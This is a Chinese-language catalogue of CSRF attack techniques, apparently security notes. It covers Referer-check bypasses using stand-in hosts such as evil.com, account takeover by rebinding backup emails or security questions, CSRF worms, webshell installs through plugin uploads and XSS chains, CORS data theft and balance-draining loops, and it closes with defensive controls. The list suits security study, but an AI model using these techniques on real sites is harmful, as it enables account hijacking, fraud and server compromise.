CSRF 通过 Referer 包含关键词绕过宽松域名检测:部分站点的 Referer 校验使用 indexOf 或 contains 判断请求来源中是否包含目标域名关键词,而非精确匹配域名前缀;攻击者将目标域名字符串拼接到恶意站点的 URL 参数(如 evil.com/target.com/attack)或子域(如 target.com.evil.com),Referer 检测返回真,CSRF 校验通过——字符串包含检测与精确域名匹配的差异,是此类绕过的根本原因。
购物车批量填充 CSRF 拒绝服务:向购物车添加商品的接口无 Token,攻击者在利用页面中循环构造大量商品 ID 请求,受害者访问后购物车被填满至上限;购物车满额后正常加购流程报错,受害者无法完成购物,且清空购物车本身也是一次操作——若清空接口同样无保护,攻击者可交替循环填充与保留,形成持续性功能拒绝服务。
备用邮箱绑定 CSRF 用于找回密码:部分平台区分"登录邮箱"与"备用/验证邮箱"两个字段,前者作为账号凭据不轻易显示,后者用于找回密码;备用邮箱的修改接口以 GET 实现且无 Token,攻击者通过 CSRF 将受害者的备用邮箱改为攻击者可控地址,触发找回密码流程后重置链接发至攻击者邮箱,且重置邮件同时包含账号用户名,使账号接管无需知道任何原始凭据。
CSRF 触发"向好友索要"功能批量群发:社交平台的"向好友索要金钱/道具"接口以 GET 请求实现,参数包含目标好友的账号标识;攻击者构造含多个好友 ID 的请求序列嵌入钓鱼页面,受害者访问后以自身身份向联系人列表中的账号批量发送索要请求——此操作以受害者名义扰乱其社交关系,且请求携带站内信誉,接收方点击率高于外部钓鱼链接。
CSRF 转发广播形成蠕虫:内容平台的"转发广播/动态"接口无 Token,转发内容由客户端参数控制;攻击者构造含恶意链接文案的转发请求嵌入帖子,浏览者访问时自动以自身身份转发,转发后的新帖子再次触发下一批浏览者——与"发新帖"蠕虫不同,转发蠕虫借助原始帖子的曝光量加速扩散,且转发记录指向受害者账号,攻击者账号本身无任何操作记录。
CMS 插件安装接口 CSRF Getshell:后台插件/扩展包上传安装接口未对文件后缀做严格校验,同时不携带 CSRF Token;攻击者构造包含 webshell 的伪装扩展包,通过 CSRF 让管理员触发上传安装流程,文件落地于 Web 可访问目录后立即可执行——与"模板修改"类 Getshell 不同,此处利用的是安装流程的文件写入权限,无需管理员手动编写任何内容。
CSRF 篡改密保问题后通过密保验证邮件直接登录:密码保护问题和密保邮箱的设置接口无 Token;攻击者通过 CSRF 为受害者设置攻击者掌控的密保邮箱并写入已知的问题与答案,随后触发"通过密保验证登录"流程,验证邮件发至攻击者邮箱,点击验证链接即以受害者身份完成登录;与"找回密码"型 CSRF 不同,此路径绕过了密码重置步骤,攻击者直接以受害者原账号登录,且验证邮件包含账号用户名,无需额外信息枚举目标。
微博/动态图片地址替换触发蠕虫:发帖/发微博接口允许附带图片 URL 字段,服务端对该字段无格式或协议限制;攻击者通过抓包将上传图片后的正常图片地址替换为指向 CSRF 利用页面的 URL,发布成功后其他用户浏览该帖子时浏览器加载"图片",实际触发 GET 型 CSRF;无需额外 XSS 漏洞,图片字段本身成为蠕虫传播的载体,以微博/动态的社交曝光量为扩散渠道。
CSRF 通过留言触发后台审核时 XSS Getshell:CMS 前台用户留言标题字段过滤不完善,仅做了基础字符替换(未覆盖 HTML 编码绕过);攻击者通过 HTML 编码方式绕过过滤,将含 XSS payload 的留言提交至系统,管理员进入后台审核时 XSS 在后台域内执行;XSS 脚本自动提交后台文件写入 CSRF 请求,完成 webshell 写入——前台留言是入口,后台 CSRF 是出口,两个漏洞在管理员一次操作中串联执行。
CSRF 通过 XMLHttpRequest withCredentials 跨域读取并篡改用户资料:部分接口未设置 Token,且 CORS 策略动态反射来源域;攻击者在恶意页面中构造带 withCredentials: true 的 XHR 请求,浏览器携带受害者 Cookie 发出跨域请求,不仅可以执行写操作(修改资料),还能读取响应体中的账号信息(账号名、手机号);与传统 CSRF"只能触发操作"不同,此路径同时具备信息读取能力,危害兼具操作伪造与数据泄露。
CSRF 利用头像上传 SWF 在同域读取 CSRF Token:平台允许用户上传头像文件,但未校验文件内容是否为真实图片;攻击者上传以图片扩展名命名的 SWF 文件作为头像,SWF 在被访问时处于头像托管域下;若该域与主站相同或被 crossdomain.xml 授权,SWF 可通过 ExternalInterface 读取页面中的 CSRF Token,并携带 Token 发起受保护的后续操作(如感谢/发帖)——头像上传是立足点,Token 读取是绕过手段,结合起来使有 Token 防护的功能也被攻破。
CSRF 通过验证码间隔校验缺陷实现短信群发:短信验证码接口对"同一手机号"的发送有时间间隔限制,但对"不同手机号"无横向限速;攻击者将发送接口 URL 嵌入 <img src> 并遍历手机号数组,已登录受害者访问后以受害者账号身份向批量号码发送短信,平台短信资源被消耗,发送记录全部归属受害者账号;"同号限速"的设计意图是防刷验证码,但对跨号攻击场景完全无效。
CSRF 强制关联攻击者掌握凭据实现静默账号劫持:账号"关联/绑定"接口允许提交已有邮箱和密码作为副登录凭据,无 CSRF 防护;攻击者构造含自身邮箱和密码的关联表单,通过 CSRF 让受害者提交,关联完成后攻击者以自己掌握的凭据直接登录受害者账号;与"CSRF 修改密码"不同,此处受害者的原始凭据未被更改,账号正常使用状态不变,受害者难以察觉,日志也不显示密码重置类告警。
CSRF 删除/转移他人账号下的发布内容:删除文章、视频、音乐作品等内容的接口以 GET 实现且无 Token,且资源 ID 为自增整数;攻击者将批量删除请求嵌入图片 src,受害者访问后自动以自身身份触发删除;另一变种是"转发到攻击者指定空间"的 GET 接口,受害者的原创内容被迁移至攻击者账号下,原账号失去归属记录,平台数据完整性遭到破坏。
CSRF 以 iframe 循环静默刷送礼/打赏消耗账户余额:礼物打赏接口无 Token,单次 CSRF 消耗固定金额;攻击者在利用页面中以隐藏 iframe 循环加载自动提交表单,受害者停留期间持续触发消费;此类接口的特殊危害在于:月票、荷包等虚拟货币往往可兑换真实收益,消耗记录分散在多笔小额流水中,受害者直到账单结算才察觉异常,举证和回滚均存在困难。
防御控制点
- CSRF Token:服务端为每个会话生成不可预测的 Token,状态变更请求必须携带 Token,服务端验证后消费
SameSiteCookie 属性:设为Strict或Lax,第三方站点触发的请求不携带 Cookie,从根本上阻断跨站请求Origin/Referer验证:验证来源头是否属于允许域,并处理空 Referer(拒绝)- 状态变更操作避免 GET:关注、删除、支付等操作统一使用 POST,消除图片/链接触发的风险
- OAuth 强制
state参数:授权请求携带随机state,回调时验证,防止授权码 CSRF - JSON 接口替代 JSONP:新接口使用 JSON + CORS 白名单,停用 JSONP 接口